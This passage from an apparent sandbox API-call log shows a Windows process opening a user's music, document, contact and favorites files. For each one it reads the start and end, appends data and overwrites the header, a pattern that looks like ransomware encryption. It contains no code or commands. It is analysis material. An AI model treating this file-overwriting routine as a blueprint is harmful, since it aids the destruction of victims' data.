CloseHandle (hObject=0x1d4) returned 1 [0057.994] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\UBN3ipwtfbJW5LUijms.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\ubn3ipwtfbjw5luijms.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0057.994] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0057.994] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x15166 [0057.994] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0057.994] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0057.994] ReleaseMutex (hMutex=0x128) returned 1 [0057.994] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UBN3ipwtfbJW5LUijms.gif", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0057.994] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UBN3ipwtfbJW5LUijms.gif", cchWideChar=23, lpMultiByteStr=0x1e78bcc, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="UBN3ipwtfbJW5LUijms.gif", lpUsedDefaultChar=0x0) returned 23 [0057.994] ReadFile (in: hFile=0x1d4, lpBuffer=0x276d988, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x276d988*, lpNumberOfBytesRead=0x304f278*=0x4000, lpOverlapped=0x0) returned 1 [0057.995] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x14166 [0057.995] ReadFile (in: hFile=0x1d4, lpBuffer=0x276d988, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x276d988*, lpNumberOfBytesRead=0x304f278*=0x1000, lpOverlapped=0x0) returned 1 [0057.995] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x14166 [0057.995] WriteFile (in: hFile=0x1d4, lpBuffer=0x27209a8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x27209a8*, lpNumberOfBytesWritten=0x304f28c*=0x1588, lpOverlapped=0x0) returned 1 [0057.996] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f2bc*=0) returned 0x0 [0057.996] WriteFile (in: hFile=0x1d4, lpBuffer=0x27209a8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x27209a8*, lpNumberOfBytesWritten=0x304f28c*=0x4000, lpOverlapped=0x0) returned 1 [0057.996] CloseHandle (hObject=0x1d4) returned 1 [0057.996] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\lulcit amkdfe.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\lulcit amkdfe.contact"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0057.996] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0057.996] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x496 [0057.996] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0057.996] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0057.996] ReleaseMutex (hMutex=0x128) returned 1 [0057.996] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="lulcit amkdfe.contact", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0057.997] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="lulcit amkdfe.contact", cchWideChar=21, lpMultiByteStr=0x1e78bcc, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lulcit amkdfe.contact", lpUsedDefaultChar=0x0) returned 21 [0057.997] ReadFile (in: hFile=0x1d4, lpBuffer=0x2741c78, nNumberOfBytesToRead=0x496, lpNumberOfBytesRead=0x304f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2741c78*, lpNumberOfBytesRead=0x304f2bc*=0x496, lpOverlapped=0x0) returned 1 [0057.998] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f300*=0) returned 0x0 [0057.998] WriteFile (in: hFile=0x1d4, lpBuffer=0x27209c8*, nNumberOfBytesToWrite=0xa1e, lpNumberOfBytesWritten=0x304f2d0, lpOverlapped=0x0 | out: lpBuffer=0x27209c8*, lpNumberOfBytesWritten=0x304f2d0*=0xa1e, lpOverlapped=0x0) returned 1 [0057.998] CloseHandle (hObject=0x1d4) returned 1 [0057.998] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\desktop.ini" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0057.999] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0057.999] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x192 [0057.999] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0057.999] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0057.999] ReleaseMutex (hMutex=0x128) returned 1 [0057.999] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="desktop.ini", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0057.999] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="desktop.ini", cchWideChar=11, lpMultiByteStr=0x1e633ec, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="desktop.ini", lpUsedDefaultChar=0x0) returned 11 [0057.999] ReadFile (in: hFile=0x1d4, lpBuffer=0x1df4178, nNumberOfBytesToRead=0x192, lpNumberOfBytesRead=0x304f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1df4178*, lpNumberOfBytesRead=0x304f2bc*=0x192, lpOverlapped=0x0) returned 1 [0058.000] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f300*=0) returned 0x0 [0058.000] WriteFile (in: hFile=0x1d4, lpBuffer=0x27209c8*, nNumberOfBytesToWrite=0x71a, lpNumberOfBytesWritten=0x304f2d0, lpOverlapped=0x0 | out: lpBuffer=0x27209c8*, lpNumberOfBytesWritten=0x304f2d0*=0x71a, lpOverlapped=0x0) returned 1 [0058.000] CloseHandle (hObject=0x1d4) returned 1 [0058.000] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\z 7PY7nsd1mkYbQkTu.ots" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\z 7py7nsd1mkybqktu.ots"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0058.000] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0058.000] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0xb64d [0058.000] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0058.001] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0058.001] ReleaseMutex (hMutex=0x128) returned 1 [0058.001] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="z 7PY7nsd1mkYbQkTu.ots", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0058.001] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="z 7PY7nsd1mkYbQkTu.ots", cchWideChar=22, lpMultiByteStr=0x1e78bcc, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="z 7PY7nsd1mkYbQkTu.ots", lpUsedDefaultChar=0x0) returned 22 [0058.001] ReadFile (in: hFile=0x1d4, lpBuffer=0x276d988, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x276d988*, lpNumberOfBytesRead=0x304f278*=0x4000, lpOverlapped=0x0) returned 1 [0058.002] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0xa64d [0058.002] ReadFile (in: hFile=0x1d4, lpBuffer=0x276d988, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x276d988*, lpNumberOfBytesRead=0x304f278*=0x1000, lpOverlapped=0x0) returned 1 [0058.002] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0xa64d [0058.002] WriteFile (in: hFile=0x1d4, lpBuffer=0x27209a8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x27209a8*, lpNumberOfBytesWritten=0x304f28c*=0x1588, lpOverlapped=0x0) returned 1 [0058.002] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f2bc*=0) returned 0x0 [0058.002] WriteFile (in: hFile=0x1d4, lpBuffer=0x27209a8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x27209a8*, lpNumberOfBytesWritten=0x304f28c*=0x4000, lpOverlapped=0x0) returned 1 [0058.002] CloseHandle (hObject=0x1d4) returned 1 [0058.002] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft At Work.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\microsoft at work.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0058.003] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0058.003] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x85 [0058.003] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0058.003] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0058.003] ReleaseMutex (hMutex=0x128) returned 1 [0058.003] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Microsoft At Work.url", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0058.003] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Microsoft At Work.url", cchWideChar=21, lpMultiByteStr=0x1e78bcc, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Microsoft At Work.url", lpUsedDefaultChar=0x0) returned 21 [0058.003] ReadFile (in: hFile=0x1d4, lpBuffer=0x257e3b0, nNumberOfBytesToRead=0x85, lpNumberOfBytesRead=0x304f2bc, lpOverlapped=0x0 | out: lpBuffer=0x257e3b0*, lpNumberOfBytesRead=0x304f2bc*=0x85, lpOverlapped=0x0) returned 1 [0058.004] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f300*=0) returned 0x0 [0058.004] WriteFile (in: hFile=0x1d4, lpBuffer=0x263fd98*, nNumberOfBytesToWrite=0x60d, lpNumberOfBytesWritten=0x304f2d0, lpOverlapped=0x0 | out: lpBuffer=0x263fd98*, lpNumberOfBytesWritten=0x304f2d0*=0x60d, lpOverlapped=0x0) returned 1 [0058.004] CloseHandle (hObject=0x1d4) returned 1 [0058.004] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Mail.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\windows live mail.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0058.005] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0058.005] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x85 [0058.005] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0058.005] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0058.005] ReleaseMutex (hMutex=0x128) returned 1 [0058.005] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Windows Live Mail.url", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0058.005] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Windows Live Mail.url", cchWideChar=21, lpMultiByteStr=0x1e78bcc, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Windows Live Mail.url", lpUsedDefaultChar=0x0) returned 21 [0058.005] ReadFile (in: hFile=0x1d4, lpBuffer=0x257e3b0, nNumberOfBytesToRead=0x85, lpNumberOfBytesRead=0x304f2bc, lpOverlapped=0x0 | out: lpBuffer=0x257e3b0*, lpNumberOfBytesRead=0x304f2bc*=0x85, lpOverlapped=0x0) returned 1 [0058.006] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f300*=0) returned 0x0 [0058.006] WriteFile (in: hFile=0x1d4, lpBuffer=0x263fd98*, nNumberOfBytesToWrite=0x60d, lpNumberOfBytesWritten=0x304f2d0, lpOverlapped=0x0 | out: lpBuffer=0x263fd98*, lpNumberOfBytesWritten=0x304f2d0*=0x60d, lpOverlapped=0x0) returned 1 [0058.006] CloseHandle (hObject=0x1d4) returned 1 [0058.006] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\54KG.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\54kg.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0058.006] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0058.006] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x16e6a [0058.006] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0058.007] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0058.007] ReleaseMutex (hMutex=0x128) returned 1 [0058.007] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="54KG.wav", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0058.007] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="54KG.wav", cchWideChar=8, lpMultiByteStr=0x1e62fcc, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="54KG.wav", lpUsedDefaultChar=0x0) returned 8 [0058.007] ReadFile (in: hFile=0x1d4, lpBuffer=0x276d988, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x276d988*, lpNumberOfBytesRead=0x304f278*=0x4000, lpOverlapped=0x0) returned 1 [0058.007] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x15e6a [0058.008] ReadFile (in: hFile=0x1d4, lpBuffer=0x276d988, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x276d988*, lpNumberOfBytesRead=0x304f278*=0x1000, lpOverlapped=0x0) returned 1 [0058.008] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x15e6a [0058.008] WriteFile (in: hFile=0x1d4, lpBuffer=0x27209a8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x27209a8*, lpNumberOfBytesWritten=0x304f28c*=0x1588, lpOverlapped=0x0) returned 1 [0058.008] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f2bc*=0) returned 0x0 [0058.008] WriteFile (in: hFile=0x1d4, lpBuffer=0x27209a8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x27209a8*, lpNumberOfBytesWritten=0x304f28c*=0x4000, lpOverlapped=0x0) returned 1 [0058.009] CloseHandle (hObject=0x1d4) returned 1 [0058.009] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\guFtxu-xk.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\guftxu-xk.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0058.009] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0058.009] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x10c29 [0058.009] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0058.009] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0058.009] ReleaseMutex (hMutex=0x128) returned 1 [0058.009] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="guFtxu-xk.m4a", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0058.009] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="guFtxu-xk.m4a", cchWideChar=13, lpMultiByteStr=0x1e631ec, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="guFtxu-xk.m4a", lpUsedDefaultChar=0x0) returned 13 [0058.009] ReadFile (in: hFile=0x1d4, lpBuffer=0x276d988, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x276d988*, lpNumberOfBytesRead=0x304f278*=0x4000, lpOverlapped=0x0) returned 1 [0058.010] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0xfc29 [0058.010] ReadFile (in: hFile=0x1d4, lpBuffer=0x276d988, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x276d988*, lpNumberOfBytesRead=0x304f278*=0x1000, lpOverlapped=0x0) returned 1 [0058.010] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0xfc29 [0058.010] WriteFile (in: hFile=0x1d4, lpBuffer=0x27209a8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x27209a8*, lpNumberOfBytesWritten=0x304f28c*=0x1588, lpOverlapped=0x0) returned 1 [0058.011] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f2bc*=0) returned 0x0 [0058.011] WriteFile (in: hFile=0x1d4, lpBuffer=0x27209a8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x27209a8*, lpNumberOfBytesWritten=0x304f28c*=0x4000, lpOverlapped=0x0) returned 1 [0058.011] CloseHandle (hObject=0x1d4) returned 1 [0058.011] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Qzk96-GvLxTgPBAO5.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\qzk96-gvlxtgpbao5.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0058.012] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0058.012] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x9f91 [0058.012] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0058.012] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0058.012] ReleaseMutex (hMutex=0x128) returned 1 [0058.012] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Qzk96-GvLxTgPBAO5.mp3", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0058.012] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Qzk96-GvLxTgPBAO5.mp3", cchWideChar=21, lpMultiByteStr=0x1e78bcc, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Qzk96-GvLxTgPBAO5.mp3", lpUsedDefaultChar=0x0) returned 21 [0058.012] ReadFile (in: hFile=0x1d4, lpBuffer=0x276d988, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x276d988*, lpNumberOfBytesRead=0x304f278*=0x4000, lpOverlapped=0x0) returned 1 [0058.013] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x8f91 [0058.013] ReadFile (in: hFile=0x1d4, lpBuffer=0x276d988, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x276d988*, lpNumberOfBytesRead=0x304f278*=0x1000, lpOverlapped=0x0) returned 1 [0058.013] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x8f91 [0058.013] WriteFile (in: hFile=0x1d4, lpBuffer=0x27209a8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x27209a8*, lpNumberOfBytesWritten=0x304f28c*=0x1588, lpOverlapped=0x0) returned 1 [0058.014] SetFilePointer (in: 